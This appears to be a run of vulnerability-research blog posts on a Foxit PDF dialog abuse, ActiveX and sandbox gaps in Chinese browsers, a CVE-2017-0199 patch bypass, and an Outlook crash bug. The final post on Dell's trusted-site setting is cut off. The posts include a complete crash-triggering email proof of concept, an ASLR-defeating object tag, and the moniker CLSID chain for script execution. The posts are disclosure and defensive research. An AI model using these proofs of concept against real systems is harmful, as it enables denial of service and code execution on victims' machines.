EXPMON detected "zero-day" PDF sample attempting to exploit Foxit Reader's bad design of security warning dialogs

Shortly after my EXPMON Public announcement on April 7, I was notified by a malware researcher that he/she submitted a PDF sample and it got detected as red Malicious. And, even, the Detection Details says that it's potentially a "zero-day".

(P.S. I don't check the system often, if you're an user and happens to find something you could ping me on Twitter/X or email at contact@expmon.com)

Check out the original submission here.

https://pub.expmon.com/analysis/15986/

Looking into the details you would note that there's an "Indicator" called "suspicious process created by main" detected in the environment named "win7sp1(update20180524)_foxitreader(2023.2.0.21408)[foxitreader]".

Technically speaking, this means that the system detected a suspicious process created from the main process (in this env, it's the Foxit Reader process) in the env that runs Foxit Reader version 2023.2.0.21408 on Windows 7. And that our Detection Logic concluded that this is potentially a zero-day exploit, as the Detection Details says.

Malicious - exploitation activity detected in newer environment, potential zero-day attack

You know if the system reports some "zero-day" detection I have an obligation to analyze the sample manually. So I downloaded the sample from the system and tested it in a local env which has the latest Foxit Reader installed. Here are the details.

When I opened the PDF file with Foxit Reader, I got the following security warning dialog.

In the background, there's no suspicious process running. Looks no problem? However, if you look it carefully, you would find out that the *default option* for this dialog is “Trust this document one time only - OK”. That means that a careless user would click the “OK” button (or simply press the "Enter" key) and that would ignore the security warning. And that's exactly what our system “simulates” in the sandbox environment for this sample.

Let’s go ahead, after the first security warning dialog, I got the second one, see the following:

In the background, there's still no suspicious process running at this moment. But this 2nd warning dialog also has the bad UI design -  the *default option* for this dialog is "Open", instead of “Do Not Open”. That means that a careless user would click the "Open" (or simply press the "Enter" key) and that would ignore this security warning, again.

After I clicked the "Open" on the 2nd warning dialog, I observed the "cmd.exe" process running, with malicious parameters.

Apparently, it’s trying to download a .bat file from an attacker-controlled server and execute it.

If we look into the content of the PDF sample, we could confirm our dynamic analysis and find out that this is actually a very simple (but malicious) PDF sample.

Image copied directly from @SquiblydooBlog’s tweet

It has a lot of the ‘:’characters at the beginning of the file, I personally guess it's for bypassing some static-analyzing Anti-virus software.

Please note that I tested the sample on Adobe Reader too - as our EXPMON system did as well (for every .pdf sample, it will be tested in both Adobe Reader and Foxit Reader, as of the current standard version). On Adobe Reader, the attempt to run external commands (through the “/Launch”) is totally disabled. So it's safe for Adobe Reader for this malicious sample.

Is this a zero-day exploit?

Well, if, by strict speaking/definition, this is indeed a PDF zero-day exploit, as it works on the latest Foxit Reader (version 2024.1.0.23997, as of writing). However, this is somewhat a "lame" one because the user/victim needs to “allow it” twice to achieve code execution. The key point here is the default options for these two security warning dialogs are both for "allowing it", that would increase the possibility of successful exploitation (for careless users). That's what this "zero-day" sample is trying to exploit, as our analysis shows.

Therefore, I wouldn't consider this as an FP of the EXPMON system as it detects this sample as “zero-day”.Instead, I consider it a success story.:)

So, stay safe & be vigilant, Foxit Reader users! I will forward this blog post to the vendor of Foxit Reader. If they have any update say fixing their bad designs of the dialogs, I will update here.

[Update on April 15, 2024]

The vendor, Foxit Software, has replied to my email. It seems to me that they've acknowledged the issues and they will address them, but not going to release a security advisory. Anyway.. I copied the email directly as the following, as there's no need to redact for personal information.

Foxit Reader users are recommended to stay vigilant about suspicious PDF files until an official fix is out.

Additional Information

As of writing, on VT, this sample has a 10/60 detection ratio.

Sample was first saw on VT on March 3, 2024.

And I just got this information related to threat intel from the original sample submitter @SquiblydooBlog:

"it came in an email pretending to be a South Korean legal group, it also contained a few malicious other payloads."

It seems to me that the TA has been trying to leverage this “zero-day” to target Foxit Reader users in South Korea. But please note that this is just my personal impression based on the information I have.

Conclusion

I hope that through this quick analysis of this real-world example, security defenders in this community will better understand how the EXPMON system can help in fighting against advanced zero-day or unknown exploits.

I also encourage users to look at the "Indicators" the system produces - they're very helpful information. Sometimes, even when the Overall Detection Result says "Clean/Undetected", you may still find some suspicious information in the Indicators.

As a side note, please also note that if you're a pro, you could also use our helper tool expmon_sample_submit.py to submit samples. There are some advantages to using the tool - not just it could do a lot of submissions automatically, but also it could obtain accurate raw analysis logs, and sometimes, that information helps.

Opening EXPMON for Everyone

Recently during the winter holidays, I "refreshed" the EXPMON system that my friend and I developed in 2021 (well, we just added a really simple web UI:)). The EXPMON system is mainly a sandbox-based system but with static analysis modules. Unlike all the other sandboxes that I know, EXPMON is specifically designed and built for detecting advanced file-based exploits. Here, "advanced" means unknown (undetectable by other tools) or zero-days (exploiting unpatched vulnerabilities). EXPMON doesn't process malware or anything that does not exploit vulnerabilities. In my opinion, the key difference is that EXPMON was built solely from the perspective of vulnerability research, rather than malware detection.

It's hard to explain all the differences here, so I've authored a document sharing the Methodology and Architecture - please read it if you’re interested in using the system. Personally, I want EXPMON to be as open as possible so that users understand what it can do (and what it can't). EXPMON should not be considered as a "replacement" of any kind of existing threat detection products, but as a cutting-edge "add-on" tool for users concerned about being targeted by advanced (file-based) exploits such as zero-days or hard-to-detect exploits. Look at all those emails / attachments your organizations receive every day - who knows what those files (emails are also files) are really doing?

In fact, I've been personally using the system for about two years, and it has been incredibly helpful to me. Not only do I drop suspicious samples into the system for analysis, but it has also greatly aided my research on apps such as Microsoft Office. For instance, when I encounter a suspicious RTF sample, manually testing it in various environments would be a long and arduous process. With this system, I could accurately observe the Word process activities, even across different environments. Moreover, the indicators reported by the system help me quickly identify any suspicious elements in the sample. On the other hand, with numerous samples analyzed and doing meaningful Big Data analytics, it has also assisted me in understanding and classifying normal behaviors versus abnormal ones, all through automated processes.

Anyway.. I wondered, with this newly-developed web UI, why not just open it for everyone? Personally, it would be great for me to see something I spent quite a lot of time on in 2021 benefiting the security defense community at large. Especially I failed to see a "making sense" exploit detection system or a system designed from vulnerability exploitation perspective within the community.

Therefore, let me introduce you to EXPMON Public. From now on, everyone can access the following URL and submit samples to the system for advanced exploit detection.:)

https://pub.expmon.com

I've also authored another document showing how to use the Web UI as well as the Web APIs, please check it here. Additionally, we've released a helper tool called “expmon_sample_submit.py”, which assists users in automatically submitting samples to the EXPMON system and obtaining analysis results, via the Web APIs. Please check it out on our GitHub repository https://github.com/EXPMON/PubTools.

Here are some notes:

1. Make sure to read the Methodology and Architecture and Web UI & APIs documents before using the system. So you know what you're doing and what results you should expect.

One important thing to note is that the system only focuses on exploits, with its main goal being the detection of unknown and zero-day exploits. It does not detect other types of threats, such as .exe malware or very outdated exploits (e.g., CVE-2012-0158). Therefore, you should not rely on the system to determine whether a sample is malicious or not. Instead, it serves as an advanced "add-on" feature to identify advanced file-based exploits.

That also means that the vast majority of submissions will likely be classified as "CLEAN" (doesn't mean they're not malicious, though). The thing is, one day, if it detects your sample as something like "Malicious - potential zero-day exploit", you'll go "whoa!" :)

I will also perform regular Big Data analytics based on the “environment-binding” data produced by the system and those may find hard-to-detect exploits too. In fact, this is one of the most advantages that the system provides - providing meaningful Big Data analytics thanks to the “environment-binding” architecture!

2. Currently, the supported file types and apps are listed at here. We may add more supported file types or apps in future, if needed (suggestions? contact me:)).

The current supported file types include all Word, Excel, and PowerPoint file types, Outlook email file types (.msg and .eml), PDFs (for both Adobe Reader and Foxit Reader), as well as some newer Office file types such as MS-Access (.accdb, .mdb), Publisher (.pub), and OneNote (.one). There are some advanced features depending on the file type. For example, when you submit a .msg or .eml sample, not only will the email file be analyzed in Outlook, but also the attachments (e.g., .rtf) will be analyzed.

3. Because the file types EXPMON deals with are mostly Office documents and PDFs, they may contain sensitive information. Please ensure that you have permission to share the samples before submitting them. EXPMON assumes no legal responsibility for any damage it may cause.

Please also note that this is a public system, and everyone can see what you have submitted through the “Recent” page, although they cannot download the samples (if not being hacked :P). However, you should be aware that all submitted samples, especially malicious ones, may be shared with the security defense community, for good purposes.

If you accidentally submitted a sample and wish to remove it, please contact at contact@expmon.com. However, I cannot guarantee a timely response.

Read our (simple) Terms of Service and Privacy Policy here.

If you want to use the system for advanced exploit detection but your samples can't be shared, this is understandable. Please contact contact@expmon.com to see if it's doable to deploy the system in your network.

4. If you want to submit a lot of samples, feel free to use the Web APIs (check the instructions). But please don't “DoS” us or do anything malicious. :)

In fact, we've released a helper tool named "expmon_sample_submit.py" for automated submission, check it at our GitHub repository.

5. You may note that the Controller is currently connected to only 4 VMs, so it can't process many samples simultaneously. However, if you've already submitted samples, they will be in the pending list, although it may take longer to receive the results.

Another small note: you may notice that the first sample may take longer to analyze. This is because I've enabled the "shutdown the VM server if no sample is received within 15 minutes" feature. For the first sample, the VM server needs to be powered on, so it takes more time.

The system is hosted in a place in Canada, and the system or the network may not be that stable. Well.. hopefully it will work for some time!

Anyway, you know how to contact me if you have something to say about the system.

That's it. Enjoy your hunting for advanced exploits!:)

Cheers,

Haifei

Re-enjoying the ActiveX (and others) Fun in Chinese Customized Browsers

TLDR: Running Chinese customized browsers could be like running IE6 on Windows XP (from security point of view), lots of proven-effective exploit mitigations could be disabled by simple tricks e.g. hosting webpage via IP address.

Background

When I was just jumping into vulnerability research many years ago, I had quite a lot of fun in ActiveX. For example, I found a remote code execution vulnerability (w/ working exploit) in the very-popular Alibaba's Alipay ActiveX control, among many others. I found them mostly through HD Moore’s AxMan fuzzing tool, I'm sure many security researchers had similar fun in the old days.:-)

Today, ActiveX isn't a hot security topic, mostly because the modern Internet Explorer  (IE11) has put several security enhancement features which limit the attack surface of ActiveX - the most significant one in my opinion is the “ActiveX preapproved list”, as it allows only a few number of “pre-defined” ActiveX objects to be loaded without user's permission. Another one is the IE sandbox (Protected Mode or Enhanced Protected Mode), the IE sandbox was not designed for ActiveX but as a generic solution it mitigates all code execution issues inside the browser’s rendering process.

Months ago, I “re-researched” the ActiveX stuff while digging into Microsoft Office (in case you don’t know, ActiveX is still very much supported on Microsoft Office). I thought it's better to understand the whole ActiveX attack surface on browsers first. However, as said, IE11 has a “preapproved list” so it makes not that convenient for testing, instead, I found it might be interesting to try a Chinese customized browser which usually comes with the IE engine.

The 360 Browser

I chose the 360 Browser since it’s the most popular one in China ((PS: Back to 2015, the author disclosed that the 360 Browser and the Baidu Browser had a significant security risk in its way of running Flash content)). The 360 Browser is basically a dual IE + Chrome engine with a customized UI among other features. When the user visits a webpage, the 360 Browser's main process will determine which engine to load but usually it will try using the Chrome engine first (since the Chrome engine is more secure and faster). However, there’re few interesting tricks I’ve seen which are able to “force” the 360 Browser to run with the IE engine. One trick is that if we use IP address (rather than domain name) to access the webpage, the 360 Browser will run in IE mode.

When running in IE mode, users may think they are just like using IE to browser the web, enjoying the same level of security of IE. However, it’s totally (unfortunately) not the case. Let me explain one by one.

• The first, there isn't the “ActiveX preapproved list” feature, which is very important to limit the ActiveX attack surface. Without such a feature, almost all COM dlls on your system could be loaded in the 360 Browser process (360se.exe) (except those are in the IE killbit list, of course). If the ActiveX control is marked as "safe for initializing " and/or "safe for scripting", the ActiveX control could be initialized and/or run in the 360 Browser process.
  
  It means that the ActiveX attack surface is back to *that big* like the old days (think about that you’re using IE6 on Windows XP). How big it could be? For example, a clean Windows 10 OS could have as many as 5300 CLSIDs which means quite a lot of ActiveX object could be exploited, even, it doesn't consider third-party software which usually register many new ActiveX controls.


• The second (and it actually surprised me), is that the DEP is in fact not set correctly for the content process of 360 Browser. If you look at the Process Explore screenshot later, the content 360se.exe process is NOT set to “DEP permanent”, which means the DEP status could be changed during runtime. And indeed, a simple “ActiveX loading” html page is enough to disable the DEP. I specifically put a debugger attaching on the content process and confirmed that all the heap bytes are executable even the memory page is not marked as executable.


• The third "crazy" thing is that the IE sandbox (PM/EPM) is totally disabled. It means if the attacker get code execution in the content process (and who would think it’s hard to get code execution when you have a pretty wide ActiveX attack surface and DEP+ASLR is totally not working?), it’s basically a “game over”.

The following screenshot shows all the crazy things. The “DEP” but no “permanent” suggests the DEP isn’t working well. The Integrity level of the content process is “Medium” (as well as the webpage property showing “Protected Mode: Off”) shows the IE sandbox is disabled.

Tested on 360 Browser 8.1.1.250 running on Windows 10 64bit, full updated as of March 22, 2017.

The QQ Browser

Even I used the 360 Browser as a main testing target, this is a generic (and serious) problem in most (if not all) Chinese customized browsers when they turn to the IE mode. Similar problems could be easily identified on other Chinese customized browsers. For example, the Tencent’s QQ Browser, is also a dual IE + Chrome engine browser, and when you visit an URL where the server is IP address, the QQ Browser will also turn to IE mode. The author has identified the similar problems when the QQ Browser is running in IE mode:  1)the ActiveX “preapproved list” is not enforced 2)also the IE sandbox is disabled (showing in the following screenshot).



As far as I have seen, different than the 360 Browser, the DEP of QQ Browser’s content process is set correctly. However, it really doesn’t make much difference considering there’s no ActiveX “preapproved list” - an attacker could easily find a non-ASLR COM dll to defeat ASLR+DEP.

For example, if the victim has the QQ installed (which is also very popular in China), the attacker could host a webpage containing the following line:

<html><object classid="clsid:03766B5E-BD09-44db-8F92-510517AC2155"/></html>

When the QQ Browser visits the webpage, a non-ASLR dll named “RICHED20.DLL” will be loaded at a fixed address 0x3970000, which allows the attacker to easily defeat ASLR+DEP.



The issues were tested on QQ Browser version 9.5.4 (10632), full updated as of March 22, 2015.

Conclusion

As we have seen, the Chinese customized browsers basically disabled all the important/effective security features on IE when they’re running in IE mode. They didn’t enforce the ActiveX “preapproved list”. On 360 Browser, DEP is not working correctly, while on QQ Browser it’s easy to find a non-ASLR module to defeat ASLR+DEP due to the ActiveX “preapproved list” is not enforced. Also, they all disabled the IE sandbox.

It’s like the users (of the browsers) are running IE6 on Windows XP.

Disclosure & Vendor Solutions/Mitigations

After noting the issues in March, the author has worked with the 2 leading vendors in China, Qihoo 360 and Tencent, helping them resolve or mitigate the issues described above in the last several months (the author would highlight that the issues are common in other Chinese customized browsers as well but let's try address them for the leading ones first). The issues are reported to Qihoo 360 and Tencent on the same day, March 23rd, 2017. Following are solutions/mitigations I received from their security response teams (please note the author didn’t test or verify the solutions).

For 360 Browser, I was told that they have quickly addressed the “DEP disabled” issue. For the other 2 issues, in their “se8” version, they have added 2 setting options, to control enabling the IE Protected Mode and receiving promoted warnings when ActiveX control is loaded. They have provided me the following screenshot.

For their new “se9” version, the setting options look like the following.

Users should be noted that the offered options are not enabled by default, users who have concerns about the issues need to enable the options by themselves.

For Tencent QQ Browser, according to their feedback, they quickly addressed the “ActiveX control loading” issue with some Cloud technology, they haven’t addressed the “no Protected Mode” issue (they did mention they plan to address it in future releases). 

Future Thoughts

I could understand a bit that these terrible “security feature disabling” decisions are due to compatibility considerations in order to make the browsers work well when visiting Chinese legacy websites, I still remember that one of the popular banks in China requires users to use IE and install their ActiveX control in order to login their online bank service. But, certainly, as the leading vendors in China, there are pretty a lot of things to do to put security first while also handling compatibility issues well.

Disclaimer: this blog post serves as the pure purpose of raising awareness of security issues and it represents the author’s personal views only.

"Bypassing" Microsoft's Patch for CVE-2017-0199

Background

If you have followed my research on the infamous CVE-2017-0199 zero-day attack, you may know we (w/ my colleague Bing) did a presentation titled “Moniker Magic: Running Scripts Directly in Microsoft Office” at the SYSCAN360 security conference on May 31th in Seattle, WA. The slides are available at https://sites.google.com/site/zerodayresearch/Moniker_Magic_final.pdf. During the presentation, we explained the background of the CVE-2017-0199 (there’re actually 2 bugs/variants under the same CVE-ID, including the “secret” one that was reported by myself in January), the root cause of the two vulnerabilities, as well as how Microsoft addressed them.

The Microsoft patch actually leverages a mechanism on the Windows level, which is called "COM Activation Filter". The patch filters out 2 dangerous CLSIDs (a CLSID is an identifier of a COM object) leveraged in the 2 variants, respectively. However, the whole "features" aren't changed at all. It means that if someone finds another (the 3rd) dangerous COM object, with some modifications of the original PoC, he/she is able to achieve remote code execution once again. We expressed our concerns at the conference as well as during personal conversations with Microsoft security folks.

The story didn't end there, in fact, there's indeed such a variant, it's reported to Microsoft just on the day before our presentation (May 30), I have kept the secret during the conference (sorry for the infosec friends:-)). As the new patch has been released on Patch Tuesday last week, let’s talk about it.

If you haven't applied the new patch yet, you're highly recommended to do so right now.

The Details

The new variant leverages the Composite Moniker. According to MSDN,

"A composite moniker is a moniker that is a composition of other monikers and can determine the relation between the parts. This lets you assemble the complete path to an object given two or more monikers that are the equivalent of partial paths."

The following picture shows the stream of the Composite Moniker used in our PoC.



As we explained in our presentation, the stream of the moniker is actually the same as the so-called "MonikerStream" in the "\x01Ole" stream in the RTF-style PoC, it means that if you fill the above stream in the "MonikerStream" position, a Composite Moniker will be called in place.

When we put the sample test.sct file as we used in our “PPSX Script Moniker” bug (see our slide 30) in the right place (here we put it on the “C:\temp\test.sct” on local machine, but it could be put on remote computer via various protocols such as SMB share), and ran the modified RTF file, we got a beautiful calc.exe popping up on the latest Windows 10 + Office 2016 environment (before the July Patch Tuesday, of course).

How it worked? Well, the Composite Moniker is really a complex place but I’m going to try to explain a little bit. As we know, a Composite Moniker means there’re 2 or more Monikers working together. In our PoC, the Composite Moniker contains 2 monikers, a File Moniker and a so-called "new" Moniker. We could easily find out the CLSIDs in the stream.

{00000309-0000-0000-C000-000000000046} -> Composite Moniker (position 0)

{00000303-0000-0000-C000-000000000046} -> File Moniker (position 0x14)

{ECABAFC6-7F19-11D2-978E-0000F8757E2A} -> “new” Moniker (position 0xA1)

When binding the Composite Moniker, the binding process starts from the right-side Moniker to the left-side Moniker, while the left-side Moniker is held in the “pmkToLeft” parameter of the “IMoniker::BindToObject()” method.

HRESULT BindToObject(

  [in]  IBindCtx *pbc,

  [in]  IMoniker *pmkToLeft,

  [in]  REFIID   riidResult,

  [out] void     **ppvResult

);

When binding the “new” Moniker, it obtains the left-side moniker via the “pmkToLeft” parameter. In this case, the left-side Moniker is the File Moniker. So, it uses the File Moniker to initialize an object determined by the extension name ".sct". If we look into our Windows Registry, we could easily figure out the CLSID of the object is "{06290BD2-48AA-11D2-8432-006008C3FBFC}", progid is "scriptletfile". So the "scriptletfile" object is created and initialized by the content of the test.sct. This is a typical File Moniker binding process.

The “new” Moniker queries the IClassFactory interface to communicate with the returned object. Since the “scriptletfile” object has the IClassFactory interface exposed, the method IClassFactory::CreateInstance() is called. The "scriptletfile" object's IClassFactory::CreateInstance() implementation starts the scripting environment and runs our scripts, so this is the problem.

So, in an easier-to-understand “script” language, the logic looks like the following:

new (object persisted in “\\127.0.0.1\C$\temp\test.sct”)

Here is the call stack when calc.exe is being popped up, note the highlighted key functions.

0013cad8 67d5d248 kernel32!CreateProcessW

0013cb60 67d5d54a wshom!CWshShell::CreateShortcut+0x161

0013cbc0 750bcc68 wshom!CWshShell::Exec+0x19a

0013cbe0 750bcae2 OLEAUT32!DispCallFunc+0x165

0013cc70 67d601c7 OLEAUT32!CTypeInfo2::Invoke+0x23f

0013cca0 67d5b055 wshom!CDispatch::Invoke+0x5c

0013cccc 67115424 wshom!CWshExec::Invoke+0x29

0013cd10 6711505b jscript!IDispatchInvoke2+0x8d

0013ce08 67117622 jscript!VAR::InvokeByName+0x389

0013ce54 671175d6 jscript!VAR::InvokeDispName+0x3e

0013ce80 671144a7 jscript!VAR::InvokeByDispID+0x310a

0013d278 671148ff jscript!CScriptRuntime::Run+0x12b9

0013d374 67114783 jscript!ScrFncObj::CallWithFrameOnStack+0x15f

0013d3cc 67114cc3 jscript!ScrFncObj::Call+0x7b

0013d470 67123797 jscript!CSession::Execute+0x23d

0013d4bc 67120899 jscript!COleScript::ExecutePendingScripts+0x16b

0013d4d8 6ec2831f jscript!COleScript::SetScriptState+0x51

0013d4e8 6ec28464 scrobj!ScriptEngine::Activate+0x1a

0013d500 6ec299d3 scrobj!ComScriptlet::Inner::StartEngines+0x6e

0013d550 6ec2986e scrobj!ComScriptlet::Inner::Init+0x156

0013d560 6ec2980b scrobj!ComScriptlet::New+0x3f

0013d580 6ec297d0 scrobj!ComScriptletConstructor::CreateScriptletFromNode+0x26

0013d5a0 6ec33b7e scrobj!ComScriptletConstructor::Create+0x4c

0013d5cc 6ec22946 scrobj!ComScriptletFactory::CreateInstanceWithContext+0x115

0013d5e8 6f2264be scrobj!ComScriptletFactory::CreateInstance+0x19

0013d63c 766bb5dd comsvcs!CNewMoniker::BindToObject+0x14f

0013d670 767240c9 ole32!CCompositeMoniker::BindToObject+0x105 [d:\w7rtm\com\ole32\com\moniker2\ccompmon.cxx @ 1104]

0013d6dc 5fc737a6 ole32!CDefLink::BindToSource+0x14e [d:\w7rtm\com\ole32\ole232\stdimpl\deflink.cpp @ 4611]

0013d720 5f7cdad1 wwlib!wdGetApplicationObject+0x68f70

Why it bypassed Microsoft's patch?

As we explained in our presentation, the Microsoft's April Patch banned two objects in Office, they are:

{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} -> the “htafile” object

{06290BD3-48AA-11D2-8432-006008C3FBFC} -> the “script” object

They didn't ban any of the CLSIDs used in our new PoC.:-) While the "{06290BD3-48AA-11D2-8432-006008C3FBFC}" is very close to the "{06290BD2-48AA-11D2-8432-006008C3FBFC}", they are still not the same one. The banned one is “script” object, which, when being bind, would find and run scripts for us nicely. However, the “scriptletfile” object could also do the same work with a little help from the “new” Moniker.

Some Thoughts

There's some of my personal thoughts around this, the first is absolutely this new variant strongly demonstrates this is an “open” attack surface, and Microsoft's work wasn’t done very well. While I prefer not to judge Microsoft's patching strategy why they didn’t touch the features as they may have their own considerations (compatibility, user experience, etc), it's a clear proof that the patching strategy is weak, or weaker than I expected. The patching strategy is very similar to the ActiveX "killbit" solution when in the old days ActiveX vulnerabilities were very popular. It's an "easy fix" - people find a vulnerable object, we kill the it, people find another, we kill another, easy but not proactive, I'd say.

Also, it's the reason why I personally prefer to say the "RTF URL Moniker" issue, the "PPSX Script Moniker" issue, and this one, are separated bugs and should be assigned with different CVE-IDs (though Microsoft has assigned a new CVE-ID, CVE-2017-8570, for this variant). Microsoft putting them under a same CVE has caused confusions - we didn't assign all the ActiveX vulnerabilities as one CVE-ID, right?

Stay secure.

An Interesting Outlook Bug

Last week I reported an interesting bug in Outlook to Microsoft - it's an HTML email, and when you send this email to someone, when he/she *just read* the email, Outlook will crash (similar dangerous level as my #BadWinmail bug if this one is exploitable). As today MSRC told me that they think it's a non-exploitable bug and it seems that they are not going to fix it in near future, I'm releasing the details in this quick write-up, and hopefully, for an "old pedant" style open discussion about the exploitability as I still have some doubts.:-)

The PoC could be as simple as the following, or you may download the .eml file here.

Content-Type: multipart/alternative; boundary="===============111111111111==
MIME-Version: 1.0
Subject: title
From: aa@msft.com
To: bb@msft.com

--===============111111111111==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit

plain text area
--===============111111111111==
Content-Type: text/html; charset="us-ascii"
MIME-Version: 1.0

<html>
<head>
<style>body{display:none !important;}</style>
</head>
<body>    
<div>
e
</div>
<div>
<table>
<tr height="1%">
</tr>
</table>
</div>
<div>
e
</div>
</body>
</html>

--===============111111111111==--


If you do some tests based on the PoC you will quickly figure out that the CSS code "<style>body{display:none !important;}</style>" is something important here. For example, if we remove this line, Outlook won't crash. This also suggests that the bug is related to some "CSS rendering" code in Outlook.


The Crash

The following crash should be observed on Office 2010 14.0.7177.5000, full updated as of March 21, 2017. In fact, I believe it affects all Outlook versions.

(384.400): Access violation - code c0000005 (!!! second chance !!!)
eax=0020f580 ebx=0ea72288 ecx=00000000 edx=00000000 esi=191cdfd0 edi=5d064400
eip=5c5e17e5 esp=0020f56c ebp=0020f754 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
wwlib!DllGetLCID+0x25b35f:
5c5e17e5 f781e402000000040000 test dword ptr [ecx+2E4h],400h ds:0023:000002e4=????????
0:000> k
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0020f754 5c5a2b93 wwlib!DllGetLCID+0x25b35f
0020f774 5c1d80de wwlib!DllGetLCID+0x21c70d
0020f794 5c1d801b wwlib!GetAllocCounters+0x51906
0020f818 5c1d5c33 wwlib!GetAllocCounters+0x51843
0020f82c 5c26d803 wwlib!GetAllocCounters+0x4f45b
0020f83c 2f63f1b6 wwlib!GetAllocCounters+0xe702b
0020f880 2f63f06b outlook!GetMsoInst+0x32e2
0020f8a8 2ffb9d6b outlook!GetMsoInst+0x3197
0020f938 76b0ef1c outlook!PushSavedKeyToCicero+0x291d8
0020f944 7733367a kernel32!BaseThreadInitThunk+0xe
0020f984 7733364d ntdll!__RtlUserThreadStart+0x70
0020f99c 00000000 ntdll!_RtlUserThreadStart+0x1b

It crashes at the following address:

.text:31B417D2 loc_31B417D2: ; CODE XREF: sub_31714D18+42CB1Ej
.text:31B417D2 lea eax, [ebp+var_1DC]
.text:31B417D8 push eax
.text:31B417D9 push [ebp+var_4]
.text:31B417DC push ebx
.text:31B417DD call sub_3177CE19                          ;memory data at eax will be updated
.text:31B417E2 mov ecx, [eax+48h]                           ;read the pointer at offset 0x48
.text:31B417E5 test dword ptr [ecx+2E4h], 400h      ;crash


Since the data pointed by EAX (@31B417E2) will be updated in function "sub_3177CE19", I did some debugging in that function, and it seems that:

1. There seems to be a custom heap allocator, as I've seen heap block headers, and links.
2. The "sub_3177CE19" does the job locating the data based on the 1st param (a pointer) and 2nd param (always be 0), and the data will be copied to the heap block pointed by the 3nd param.
3. According to my tests, the copied bytes are always 0x00, so that's why it seems to be a null pointer dereference bug.

Discussions

If security is that clear, there's no security research.:-) Due to the complexity of Office code and Microsoft keeps refusing to release Office symbols (I've said about this 1 million times), it's really hard to be that %100 sure from outside..

First point I'd put is that it's really hard to debug the data flow without symbols, if you look at the related code you will find that this isn't that firmly NULL pointer - instead the 0x00 bytes are copied from another pointer and that related to some internal structures. The 2nd is that when I tested it in a live env (email server + Outlook env), I've observed some different things. If I remember it correctly it's on an Outlook 2016 (32bit) + Windows 10 (64bit) env, when I receive/read such email, Outlook sometimes won't crash immediately, instead, it will crash at another different address when the user performs future actions on Outlook. I don't remember the details regarding the "live test", but it does increase my doubts..

To say the least, crashing someone's Outlook *remotely* is still a bad thing, right? Think about it.. someone is working on Outlook but Outlook crashes when he/she is reading the coming email..

Feel free to reach me about your thoughts.:-)

Thanks,
Haifei

Who is "gigiduru"?

Last week during a research on Office, I happened to notice a weird string in the Outlook binary (Outlook.exe). Let's quickly go to the related code.

.text:00C88067                 lea     eax, [ebp-16Ch]
.text:00C8806D                 push    eax             ; lpBuffer
.text:00C8806E                 push    esi             ; nBufferLength
.text:00C8806F                 call    ds:GetTempPathA
.text:00C88075                 test    eax, eax
.text:00C88077                 jnz     short loc_C88087
.text:00C88079                 lea     eax, [ebp-16Ch]
.text:00C8807F                 push    eax             ; lpBuffer
.text:00C88080                 push    esi             ; nBufferLength
.text:00C88081                 call    ds:GetCurrentDirectoryA
.text:00C88087
.text:00C88087 loc_C88087:                             ; CODE XREF: sub_C87EA5+1D2 j
.text:00C88087                 push    esi
.text:00C88088                 mov     esi, MSO_4606
.text:00C8808E                 lea     eax, [ebp-16Ch]
.text:00C88094                 push    eax
.text:00C88095                 push    offset aGigiduru ; "gigiduru"
.text:00C8809A                 call    esi ; MSO_4606
.text:00C8809C                 push    104h
.text:00C880A1                 lea     eax, [ebp-16Ch]
.text:00C880A7                 push    eax
.text:00C880A8                 lea     eax, [ebp-26Ch]
.text:00C880AE                 push    eax
.text:00C880AF                 call    esi ; MSO_4606
.text:00C880B1                 push    1
.text:00C880B3                 xor     eax, eax
.text:00C880B5                 push    eax
.text:00C880B6                 push    100h
.text:00C880BB                 push    1
.text:00C880BD                 push    eax
.text:00C880BE                 push    eax
.text:00C880BF                 push    80000000h
.text:00C880C4                 lea     eax, [ebp-16Ch]
.text:00C880CA                 push    eax
.text:00C880CB                 call    MSO_1655
.text:00C880D1                 mov     esi, eax
.text:00C880D3                 cmp     esi, 0FFFFFFFFh
.text:00C880D6                 jz      short loc_C88105
.text:00C880D8                 push    edi             ; lpResult
.text:00C880D9                 push    offset byte_63810C ; lpDirectory
.text:00C880DE                 lea     eax, [ebp-16Ch]
.text:00C880E4                 push    eax             ; lpFile
.text:00C880E5                 call    FindExecutableA
.text:00C880EB                 cmp     byte ptr [edi], 0
.text:00C880EE                 push    esi             ; hObject
.text:00C880EF                 setnz   bl
.text:00C880F2                 call    ds:CloseHandle
.text:00C880F8                 lea     eax, [ebp-16Ch]
.text:00C880FE                 push    eax             ; lpFileName
.text:00C880FF                 call    ds:DeleteFileA

Saw that line highlighted? After some debugging, it apperars to me that Outlook does a "test" to look for the appropriate icon to show to the user when the user opens an email which contains attachment(s). Based on my understanding, it does the following:

1. Create a zero-byte file named "gigiduru.<extname>" into the user's temp folder, so the full path of the temp file looks like "C:\Users\user1\AppData\Local\Temp\gigiduru.pdf".
2. Call API "FindExecutable()" on that temp file (as it's first param) to retrieve the associated executable on that specific file type.
3. Delete the temp file.
4. Find the appropriate icon in the found executable for showing to the user (on Outlook).

But, why "gigiduru" is chosen? Couldn't Microsoft just use a random string as what they usually do? Well, as a non-native English speaker I'm not actually sure what it means for "gigiduru", but a quick Google search shows maybe it's a nickname for a Microsoft Office developer?:-)

Another bit is that I was only able to reach the related code on Office 2013, I didn't trigger it on Office 2010 nor Office 2016 during a quick test, while (if you search in the process memory) you will find the "gigiduru" string on all the versions. So if you'd like to go a digging, you probably want to use Outlook 2013.

Thanks,
Haifei

SuperFish 2.1: Dell System Detect’s "trusted site" makes users more vulnerable to exploit-based attacks

The recent SuperFish 2.0 incident has told us OEM machines are really bad on security. Today I finally got time to play into the issue and around. I happened to find that there is actually another problem, this time it is not about pre-installed root certificates, but a configuration problem which makes the user more vulnerable to targeted or drive-by attacks.

If you are using a Dell laptop, you probably know the "Dell System Detect" tool, it is a tool allowing you to install and update all the drivers as well as other Dell software automatically.

I've found that after we install the Dell System Detect, a specific domain name, "*.dell.com", will be added into the Internet Explorer's "Trusted sites". See following figure captured on my pretty old Dell laptop. The installed version is believed to be 6.11.0.2.

So, this is the problem I’ve found. But what does it mean? Why it is bad?

I’ve spend couple hours looking into the security problems such a “trusted site” may bring. Here is what I’ve found so far.

1. All webpages hosted at “*.dell.com” will be opened out of the Sandbox on IE (known as Protected Mode or Enhanced Protected Mode).

